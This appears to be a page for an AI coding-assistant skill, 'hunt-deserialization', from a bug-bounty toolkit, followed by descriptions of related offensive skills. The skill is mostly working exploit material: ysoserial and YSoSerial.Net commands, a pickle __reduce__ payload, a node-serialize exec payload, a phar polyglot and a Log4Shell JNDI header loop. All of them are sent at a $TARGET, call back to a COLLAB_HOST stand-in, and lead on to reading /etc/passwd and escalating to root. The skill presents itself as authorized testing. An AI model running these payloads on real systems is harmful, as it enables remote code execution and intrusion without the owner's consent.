hunt-deserialization
Hunt-deserialization identifies critical remote code execution vulnerabilities across Java, PHP, Python, .NET, and Ruby applications by detecting unsafe deserialization patterns and gadget chain exploitation vectors. Use this skill when assessing web applications that accept serialized data through cookies, request bodies, or headers, particularly those running legacy frameworks like Apache Shiro, Log4j, or ASP.NET, where attackers can instantiate arbitrary object chains to execute operating system commands.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-deserialization && cp -r /tmp/hunt-deserialization/skills/hunt-deserialization ~/.claude/skills/hunt-deserializationSKILL.md
# HUNT-DESERIALIZATION — Insecure Deserialization
## Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
**Highest-value chains:**
- **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE
- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`
- **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE
- **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE
- **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE
---
## Attack Surface Signals
### Detection Patterns
```bash
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
```
### Header / Cookie Signals
```
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
```
---
## Step-by-Step Hunting Methodology
### Phase 1 — Java Deserialization (ysoserial)
```bash
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
```
### Phase 2 — PHP Object Injection
```bash
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
```
### Phase 3 — Python Pickle
```bash
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pkl
```
### Phase 3b — PHP phar://, Python YAML, Node deserialization
- **PHP phar:// (no `unserialize()` call)** — any filesystem function (`file_exists`/`fopen`/`getimagesize`) on a `phar://` path deserializes the archive metadata -> object injection with zero `unserialize()` in code.
```bash
phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot
# then reach phar://uploads/poly.jpg/x via any fs call
```
- **Python `yaml.load()` (CVE-2017-18342)** — pre-5.1 default-unsafe:
`!!python/object/apply:os.system ['curl http://$COLLAB/yaml']`
- **Node `node-serialize` (CVE-2017-5941)** — IIFE marker in any field passed to `unserialize()`:
`{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}`
### Phase 4 — .NET ViewState
```bash
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
```
### Phase 5 — Log4Shell / JNDI
```bash
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
```
### Phase 6 — Ruby Marshal
```bash
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets
```
---
## Chain Table
| Deserialization signal | Chain to | Impact |
|-----------------------|----------|--------|
| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |
| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
---
## Automation
```bash
# OOB listener
interactsh-client -v -n 5
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit
```
---
## Validation
✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed
✅ Command output in response: full RCE confirmed
**Severity:** Almost always **Critical** — RCE with server process privileges.End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.